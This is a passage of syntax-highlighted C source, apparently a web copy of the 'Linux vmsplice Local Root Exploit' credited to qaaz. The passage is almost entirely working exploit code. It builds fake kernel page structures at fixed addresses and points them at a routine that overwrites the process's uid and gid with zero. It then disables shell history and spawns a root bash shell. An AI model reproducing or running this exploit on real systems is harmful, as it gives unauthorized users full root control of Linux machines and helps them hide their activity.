<span style="color: #993333;">char</span>	exit_stack<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span> <span style="color: #339933;">*</span> <span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #993333;">void</span>	die<span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span>msg<span style="color: #339933;">,</span> <span style="color: #993333;">int</span> err<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span>err <span style="color: #339933;">?</span> <span style="color: #ff0000;">&quot;[-] %s: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #339933;">:</span> <span style="color: #ff0000;">&quot;[-] %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> msg<span style="color: #339933;">,</span> strerror<span style="color: #009900;">&#40;</span>err<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	fflush<span style="color: #009900;">&#40;</span>stdout<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	fflush<span style="color: #009900;">&#40;</span>stderr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	exit<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #339933;">#if defined (__i386__)</span>
&nbsp;
<span style="color: #339933;">#ifndef __NR_vmsplice</span>
<span style="color: #339933;">#define __NR_vmsplice	316</span>
<span style="color: #339933;">#endif</span>
&nbsp;
<span style="color: #339933;">#define USER_CS		0x73</span>
<span style="color: #339933;">#define USER_SS		0x7b</span>
<span style="color: #339933;">#define USER_FL		0x246</span>
&nbsp;
static_inline
<span style="color: #993333;">void</span>	exit_kernel<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	__asm__ __volatile__ <span style="color: #009900;">&#40;</span>
	<span style="color: #ff0000;">&quot;movl %0, 0x10(%%esp) ;&quot;</span>
	<span style="color: #ff0000;">&quot;movl %1, 0x0c(%%esp) ;&quot;</span>
	<span style="color: #ff0000;">&quot;movl %2, 0x08(%%esp) ;&quot;</span>
	<span style="color: #ff0000;">&quot;movl %3, 0x04(%%esp) ;&quot;</span>
	<span style="color: #ff0000;">&quot;movl %4, 0x00(%%esp) ;&quot;</span>
	<span style="color: #ff0000;">&quot;iret&quot;</span>
	<span style="color: #339933;">:</span> <span style="color: #339933;">:</span> <span style="color: #ff0000;">&quot;i&quot;</span> <span style="color: #009900;">&#40;</span>USER_SS<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r&quot;</span> <span style="color: #009900;">&#40;</span>STACK<span style="color: #009900;">&#40;</span>exit_stack<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;i&quot;</span> <span style="color: #009900;">&#40;</span>USER_FL<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
	    <span style="color: #ff0000;">&quot;i&quot;</span> <span style="color: #009900;">&#40;</span>USER_CS<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r&quot;</span> <span style="color: #009900;">&#40;</span>exit_code<span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
static_inline
<span style="color: #993333;">void</span> <span style="color: #339933;">*</span>	get_current<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span> curr<span style="color: #339933;">;</span>
	__asm__ __volatile__ <span style="color: #009900;">&#40;</span>
	<span style="color: #ff0000;">&quot;movl %%esp, %%eax ;&quot;</span>
	<span style="color: #ff0000;">&quot;andl %1, %%eax ;&quot;</span>
	<span style="color: #ff0000;">&quot;movl (%%eax), %0&quot;</span>
	<span style="color: #339933;">:</span> <span style="color: #ff0000;">&quot;=r&quot;</span> <span style="color: #009900;">&#40;</span>curr<span style="color: #009900;">&#41;</span>
	<span style="color: #339933;">:</span> <span style="color: #ff0000;">&quot;i&quot;</span> <span style="color: #009900;">&#40;</span>~<span style="color: #0000dd;">8191</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span> curr<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #339933;">#elif defined (__x86_64__)</span>
&nbsp;
<span style="color: #339933;">#ifndef __NR_vmsplice</span>
<span style="color: #339933;">#define __NR_vmsplice	278</span>
<span style="color: #339933;">#endif</span>
&nbsp;
<span style="color: #339933;">#define USER_CS		0x23</span>
<span style="color: #339933;">#define USER_SS		0x2b</span>
<span style="color: #339933;">#define USER_FL		0x246</span>
&nbsp;
static_inline
<span style="color: #993333;">void</span>	exit_kernel<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	__asm__ __volatile__ <span style="color: #009900;">&#40;</span>
	<span style="color: #ff0000;">&quot;swapgs ;&quot;</span>
	<span style="color: #ff0000;">&quot;movq %0, 0x20(%%rsp) ;&quot;</span>
	<span style="color: #ff0000;">&quot;movq %1, 0x18(%%rsp) ;&quot;</span>
	<span style="color: #ff0000;">&quot;movq %2, 0x10(%%rsp) ;&quot;</span>
	<span style="color: #ff0000;">&quot;movq %3, 0x08(%%rsp) ;&quot;</span>
	<span style="color: #ff0000;">&quot;movq %4, 0x00(%%rsp) ;&quot;</span>
	<span style="color: #ff0000;">&quot;iretq&quot;</span>
	<span style="color: #339933;">:</span> <span style="color: #339933;">:</span> <span style="color: #ff0000;">&quot;i&quot;</span> <span style="color: #009900;">&#40;</span>USER_SS<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r&quot;</span> <span style="color: #009900;">&#40;</span>STACK<span style="color: #009900;">&#40;</span>exit_stack<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;i&quot;</span> <span style="color: #009900;">&#40;</span>USER_FL<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
	    <span style="color: #ff0000;">&quot;i&quot;</span> <span style="color: #009900;">&#40;</span>USER_CS<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r&quot;</span> <span style="color: #009900;">&#40;</span>exit_code<span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
static_inline
<span style="color: #993333;">void</span> <span style="color: #339933;">*</span>	get_current<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span> curr<span style="color: #339933;">;</span>
	__asm__ __volatile__ <span style="color: #009900;">&#40;</span>
	<span style="color: #ff0000;">&quot;movq %%gs:(0), %0&quot;</span>
	<span style="color: #339933;">:</span> <span style="color: #ff0000;">&quot;=r&quot;</span> <span style="color: #009900;">&#40;</span>curr<span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span> curr<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #339933;">#else</span>
<span style="color: #339933;">#error &quot;unsupported arch&quot;</span>
<span style="color: #339933;">#endif</span>
&nbsp;
<span style="color: #339933;">#if defined (_syscall4)</span>
<span style="color: #339933;">#define __NR__vmsplice	__NR_vmsplice</span>
_syscall4<span style="color: #009900;">&#40;</span>
	<span style="color: #993333;">long</span><span style="color: #339933;">,</span> _vmsplice<span style="color: #339933;">,</span>
	<span style="color: #993333;">int</span><span style="color: #339933;">,</span> fd<span style="color: #339933;">,</span>
	<span style="color: #993333;">struct</span> iovec <span style="color: #339933;">*,</span> iov<span style="color: #339933;">,</span>
	<span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span><span style="color: #339933;">,</span> nr_segs<span style="color: #339933;">,</span>
	<span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span><span style="color: #339933;">,</span> flags<span style="color: #009900;">&#41;</span>
&nbsp;
<span style="color: #339933;">#else</span>
<span style="color: #339933;">#define _vmsplice(fd,io,nr,fl)	syscall(__NR_vmsplice, (fd), (io), (nr), (fl))</span>
<span style="color: #339933;">#endif</span>
&nbsp;
<span style="color: #993333;">static</span> uint uid<span style="color: #339933;">,</span> gid<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #993333;">void</span>	kernel_code<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #993333;">int</span>	i<span style="color: #339933;">;</span>
	uint	<span style="color: #339933;">*</span>p <span style="color: #339933;">=</span> get_current<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> <span style="color: #0000dd;">1024</span><span style="color: #339933;">-</span><span style="color: #0000dd;">13</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> uid <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> uid <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> 		    p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> uid <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> uid <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> 		    p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> gid <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">5</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> gid <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> 		    p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">6</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> gid <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">7</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> gid<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 			p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> 			p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">5</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">6</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">7</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> 			p <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>uint <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span>p <span style="color: #339933;">+</span> <span style="color: #0000dd;">8</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 			p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> ~<span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> 			<span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span> 		<span style="color: #009900;">&#125;</span> 		p<span style="color: #339933;">++;</span> 	<span style="color: #009900;">&#125;</span>	 	exit_kernel<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #993333;">void</span>	exit_code<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>getuid<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> 		die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;wtf&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[+] root<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	putenv<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;HISTFILE=/dev/null&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	execl<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;/bin/bash&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;bash&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;-i&quot;</span><span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;/bin/bash&quot;</span><span style="color: #339933;">,</span> errno<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #993333;">int</span>	main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> 	<span style="color: #993333;">int</span>		pi<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> 	size_t		map_size<span style="color: #339933;">;</span> 	<span style="color: #993333;">char</span> <span style="color: #339933;">*</span>		map_addr<span style="color: #339933;">;</span> 	<span style="color: #993333;">struct</span> iovec	iov<span style="color: #339933;">;</span> 	<span style="color: #993333;">struct</span> page <span style="color: #339933;">*</span>	pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">5</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> 	uid <span style="color: #339933;">=</span> getuid<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	gid <span style="color: #339933;">=</span> getgid<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	setresuid<span style="color: #009900;">&#40;</span>uid<span style="color: #339933;">,</span> uid<span style="color: #339933;">,</span> uid<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	setresgid<span style="color: #009900;">&#40;</span>gid<span style="color: #339933;">,</span> gid<span style="color: #339933;">,</span> gid<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;-----------------------------------<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot; Linux vmsplice Local Root Exploit<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot; By qaaz<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;-----------------------------------<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>uid <span style="color: #339933;">||</span> <span style="color: #339933;">!</span>gid<span style="color: #009900;">&#41;</span> 		die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;!@#$&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	<span style="color: #808080; font-style: italic;">/*****/</span> 	pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #339933;">**</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span><span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span>PAGE_SIZE<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span> 	pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">+</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span> 	map_size <span style="color: #339933;">=</span> PAGE_SIZE<span style="color: #339933;">;</span> 	map_addr <span style="color: #339933;">=</span> mmap<span style="color: #009900;">&#40;</span>pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> map_size<span style="color: #339933;">,</span> PROT_READ <span style="color: #339933;">|</span> PROT_WRITE<span style="color: #339933;">,</span> 	                MAP_FIXED <span style="color: #339933;">|</span> MAP_PRIVATE <span style="color: #339933;">|</span> MAP_ANONYMOUS<span style="color: #339933;">,</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>map_addr <span style="color: #339933;">==</span> MAP_FAILED<span style="color: #009900;">&#41;</span> 		die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;mmap&quot;</span><span style="color: #339933;">,</span> errno<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	memset<span style="color: #009900;">&#40;</span>map_addr<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> map_size<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[+] mmap: 0x%lx .. 0x%lx<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> map_addr<span style="color: #339933;">,</span> map_addr <span style="color: #339933;">+</span> map_size<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[+] page: 0x%lx<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[+] page: 0x%lx<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>flags    <span style="color: #339933;">=</span> <span style="color: #0000dd;">1</span> <span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;&amp;</span>lt<span style="color: #339933;">;</span> PG_compound<span style="color: #339933;">;</span> 	pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>private  <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span><span style="color: #009900;">&#41;</span> pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>count    <span style="color: #339933;">=</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
	pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>lru.<span style="color: #202020;">next</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">long</span><span style="color: #009900;">&#41;</span> kernel_code<span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #808080; font-style: italic;">/*****/</span>
	pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #339933;">**</span><span style="color: #009900;">&#41;</span> pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">+</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
&nbsp;
	map_size <span style="color: #339933;">=</span> PAGE_SIZE<span style="color: #339933;">;</span>
	map_addr <span style="color: #339933;">=</span> mmap<span style="color: #009900;">&#40;</span>pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> map_size<span style="color: #339933;">,</span> PROT_READ <span style="color: #339933;">|</span> PROT_WRITE<span style="color: #339933;">,</span>
	                MAP_FIXED <span style="color: #339933;">|</span> MAP_PRIVATE <span style="color: #339933;">|</span> MAP_ANONYMOUS<span style="color: #339933;">,</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>map_addr <span style="color: #339933;">==</span> MAP_FAILED<span style="color: #009900;">&#41;</span>
		die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;mmap&quot;</span><span style="color: #339933;">,</span> errno<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	memset<span style="color: #009900;">&#40;</span>map_addr<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> map_size<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[+] mmap: 0x%lx .. 0x%lx<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> map_addr<span style="color: #339933;">,</span> map_addr <span style="color: #339933;">+</span> map_size<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[+] page: 0x%lx<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[+] page: 0x%lx<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>flags    <span style="color: #339933;">=</span> <span style="color: #0000dd;">1</span> <span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;&amp;</span>lt<span style="color: #339933;">;</span> PG_compound<span style="color: #339933;">;</span> 	pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>private  <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span><span style="color: #009900;">&#41;</span> pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>count    <span style="color: #339933;">=</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
	pages<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>lru.<span style="color: #202020;">next</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">long</span><span style="color: #009900;">&#41;</span> kernel_code<span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #808080; font-style: italic;">/*****/</span>
